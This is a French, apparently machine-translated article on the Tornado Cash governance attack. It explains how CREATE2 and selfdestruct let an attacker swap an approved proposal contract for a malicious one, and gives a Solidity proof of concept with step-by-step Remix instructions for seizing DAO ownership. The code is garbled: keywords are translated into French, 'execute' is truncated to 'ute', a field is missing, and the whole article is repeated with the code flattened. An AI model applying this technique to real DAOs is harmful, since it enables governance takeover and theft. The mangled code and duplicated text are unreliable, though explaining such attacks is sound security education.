Il y a environ deux semaines (20 mai), le protocole de mélange de devises bien connu Tornado Cash a subi une attaque de gouvernance et des pirates ont pris le contrôle (propriétaire) du contrat de gouvernance de Tornado Cash.
Le processus d'attaque est le suivant : l'attaquant soumet d'abord une proposition "d'apparence normale", une fois la proposition acceptée, détruit l'adresse du contrat à exécuter par la proposition et recrée un contrat d'attaque sur l'adresse.
Pour le processus d'attaque, vous pouvez consulter l'analyse du principe d'attaque de proposition Tornado.Cash de SharkTeam [1] 。
La clé de l'attaque consiste ici à déployer différents contrats sur la même adresse. Comment y parvenir ?
connaissances de base
Il existe deux opcodes dans l'EVM pour créer des contrats : CREATE et CREATE2.
CRÉER l'opcode
Lors de l'utilisation de new Token() pour utiliser l'opcode CREATE, la fonction de calcul d'adresse de contrat créée est :
L'adresse du contrat créé est déterminée par adresse du créateur + Nonce du créateur (nombre de contrats créés), puisque le Nonce augmente toujours progressivement, lorsque le Nonce augmente, l'adresse du contrat créé est toujours différente.
Code opération CREATE2
Lors de l'ajout d'un salt new Token{salt : bytes32()}(), l'opcode CREATE2 est utilisé et la fonction de calcul d'adresse de contrat créée est :
L'adresse du contrat créé est adresse du créateur + sel personnalisé + bytecode du contrat intelligent à déployer, donc seuls le même bytecode et la même valeur de sel peuvent être utilisés Peut être déployé à la même adresse contractuelle.
Alors comment déployer différents contrats à la même adresse ?
Méthode d'attaque
L'attaquant utilise Create2 et Create ensemble pour créer le contrat, comme illustré dans la figure :
Code référencé à partir de :
Utilisez d'abord Create2 pour déployer un contrat Deployer, puis utilisez Create in Deployer pour créer la proposition de contrat cible (pour une utilisation de proposition). Les contrats Déployeur et Proposition ont des implémentations d'autodestruction (autodestruction).
Une fois la proposition acceptée, l'attaquant détruit les contrats Deployer et Proposal, puis recrée le Deployer avec la même slat. Le bytecode Deployer reste le même, et la slat est la même, donc la même adresse de contrat Deployer qu'avant sera être obtenu, mais à ce moment le Deployer L'état du contrat est effacé, et le nonce commence à 0, donc un autre contrat Attack peut être créé en utilisant ce nonce.
Exemple de code d'attaque
Ce code provient de :
// Identifiant de licence SPDX : MIT
pragma solidité ^0.8.17 ;
contrat DAO {
structure Proposition {
adresse cible ;
booléen approuvé ;
booléen ;
}
adresse publique propriétaire = msg.expéditeur ;
Proposition[] propositions publiques ;
fonction approuver (adresse cible) externe {
require(msg.sender == propriétaire, "non autorisé");
propositions.push(Proposition({cible : cible, approuvée : vrai, uted : faux}) );
}
fonction ute (uint256 propositionId) externe à payer {
proposition de stockage proposition = propositions [proposalId] ;
exiger(proposition.approuvée, "non approuvée");
require(!proposition.uted, "uted");
proposition.uted = vrai ;
(bool ok, ) = proposition.target.delegatecall(
abi.encodeWithSignature("uteProposal()")
);
require(ok, "delegatecall failed");
}
}
proposition de contrat {
journal des événements (message de chaîne);
function uteProposal() externe {
émettre Log("Code exécuté approuvé par DAO");
}
fonction arrêturgence() externe {
autodestruction(payable(adresse(0)));
}
}
contrat Attaque {
journal des événements (message de chaîne);
adresse propriétaire public ;
function uteProposal() externe {
émet Log("Code exécuté non approuvé par DAO :)");
// Par exemple - définissez le propriétaire de DAO sur attaquant
propriétaire = msg.expéditeur ;
}
}
contrat DéployeurDéployeur {
journal des événements (adresse adresse);
fonction déployer() externe {
bytes32 salt = keccak256(abi.encode(uint(123)));
address addr = address(new Deployer{salt : salt}());
émettre Log(adresse);
}
}
contrat Déployeur {
journal des événements (adresse adresse);
fonction deployProposal() external {
adresse addr = adresse (nouvelle proposition ());
émettre Log(adresse);
}
fonction deployAttack() externe {
adresse addr = adresse (nouvelle attaque ());
émettre Log(adresse);
}
fonction kill() externe {
autodestruction(payable(adresse(0)));
}
}
Vous pouvez utiliser ce code pour le parcourir vous-même dans Remix.
Commencez par déployer DeployerDeployer, appelez DeployerDeployer.deploy() pour déployer Deployer, puis appelez Deployer.deployProposal() pour déployer Proposition.
Après avoir obtenu l'adresse du contrat de proposition de proposition, lancez une proposition à DAO.
Appelez Deployer.kill et Proposal.emergencyStop respectivement pour détruire Deployer et Proposal
Appelez à nouveau DeployerDeployer.deploy() pour déployer Deployer, appelez Deployer.deployAttack() pour déployer Attack, et Attack sera cohérent avec la proposition précédente.
Lors de l'exécution de DAO.ute, l'attaque a obtenu l'autorisation du propriétaire de DAO.
Voir l'original
Le contenu est fourni à titre de référence uniquement, il ne s'agit pas d'une sollicitation ou d'une offre. Aucun conseil en investissement, fiscalité ou juridique n'est fourni. Consultez l'Avertissement pour plus de détails sur les risques.
Tornado Governance Attack : comment déployer différents contrats sur la même adresse
Il y a environ deux semaines (20 mai), le protocole de mélange de devises bien connu Tornado Cash a subi une attaque de gouvernance et des pirates ont pris le contrôle (propriétaire) du contrat de gouvernance de Tornado Cash.
Le processus d'attaque est le suivant : l'attaquant soumet d'abord une proposition "d'apparence normale", une fois la proposition acceptée, détruit l'adresse du contrat à exécuter par la proposition et recrée un contrat d'attaque sur l'adresse.
Pour le processus d'attaque, vous pouvez consulter l'analyse du principe d'attaque de proposition Tornado.Cash de SharkTeam [1] 。
La clé de l'attaque consiste ici à déployer différents contrats sur la même adresse. Comment y parvenir ?
connaissances de base
Il existe deux opcodes dans l'EVM pour créer des contrats : CREATE et CREATE2.
CRÉER l'opcode
Lors de l'utilisation de new Token() pour utiliser l'opcode CREATE, la fonction de calcul d'adresse de contrat créée est :
adresse tokenAddr = bytes20(keccak256(senderAddress, nonce))
L'adresse du contrat créé est déterminée par adresse du créateur + Nonce du créateur (nombre de contrats créés), puisque le Nonce augmente toujours progressivement, lorsque le Nonce augmente, l'adresse du contrat créé est toujours différente.
Code opération CREATE2
Lors de l'ajout d'un salt new Token{salt : bytes32()}(), l'opcode CREATE2 est utilisé et la fonction de calcul d'adresse de contrat créée est :
adresse tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
L'adresse du contrat créé est adresse du créateur + sel personnalisé + bytecode du contrat intelligent à déployer, donc seuls le même bytecode et la même valeur de sel peuvent être utilisés Peut être déployé à la même adresse contractuelle.
Alors comment déployer différents contrats à la même adresse ?
Méthode d'attaque
L'attaquant utilise Create2 et Create ensemble pour créer le contrat, comme illustré dans la figure :
Utilisez d'abord Create2 pour déployer un contrat Deployer, puis utilisez Create in Deployer pour créer la proposition de contrat cible (pour une utilisation de proposition). Les contrats Déployeur et Proposition ont des implémentations d'autodestruction (autodestruction).
Une fois la proposition acceptée, l'attaquant détruit les contrats Deployer et Proposal, puis recrée le Deployer avec la même slat. Le bytecode Deployer reste le même, et la slat est la même, donc la même adresse de contrat Deployer qu'avant sera être obtenu, mais à ce moment le Deployer L'état du contrat est effacé, et le nonce commence à 0, donc un autre contrat Attack peut être créé en utilisant ce nonce.
Exemple de code d'attaque
Ce code provient de :
// Identifiant de licence SPDX : MIT pragma solidité ^0.8.17 ; contrat DAO { structure Proposition { adresse cible ; booléen approuvé ; booléen ; } adresse publique propriétaire = msg.expéditeur ; Proposition[] propositions publiques ; fonction approuver (adresse cible) externe { require(msg.sender == propriétaire, "non autorisé"); propositions.push(Proposition({cible : cible, approuvée : vrai, uted : faux}) ); } fonction ute (uint256 propositionId) externe à payer { proposition de stockage proposition = propositions [proposalId] ; exiger(proposition.approuvée, "non approuvée"); require(!proposition.uted, "uted"); proposition.uted = vrai ; (bool ok, ) = proposition.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok, "delegatecall failed"); } } proposition de contrat { journal des événements (message de chaîne); function uteProposal() externe { émettre Log("Code exécuté approuvé par DAO"); } fonction arrêturgence() externe { autodestruction(payable(adresse(0))); } } contrat Attaque { journal des événements (message de chaîne); adresse propriétaire public ; function uteProposal() externe { émet Log("Code exécuté non approuvé par DAO :)"); // Par exemple - définissez le propriétaire de DAO sur attaquant propriétaire = msg.expéditeur ; } } contrat DéployeurDéployeur { journal des événements (adresse adresse); fonction déployer() externe { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt : salt}()); émettre Log(adresse); } } contrat Déployeur { journal des événements (adresse adresse); fonction deployProposal() external { adresse addr = adresse (nouvelle proposition ()); émettre Log(adresse); } fonction deployAttack() externe { adresse addr = adresse (nouvelle attaque ()); émettre Log(adresse); } fonction kill() externe { autodestruction(payable(adresse(0))); } }
Vous pouvez utiliser ce code pour le parcourir vous-même dans Remix.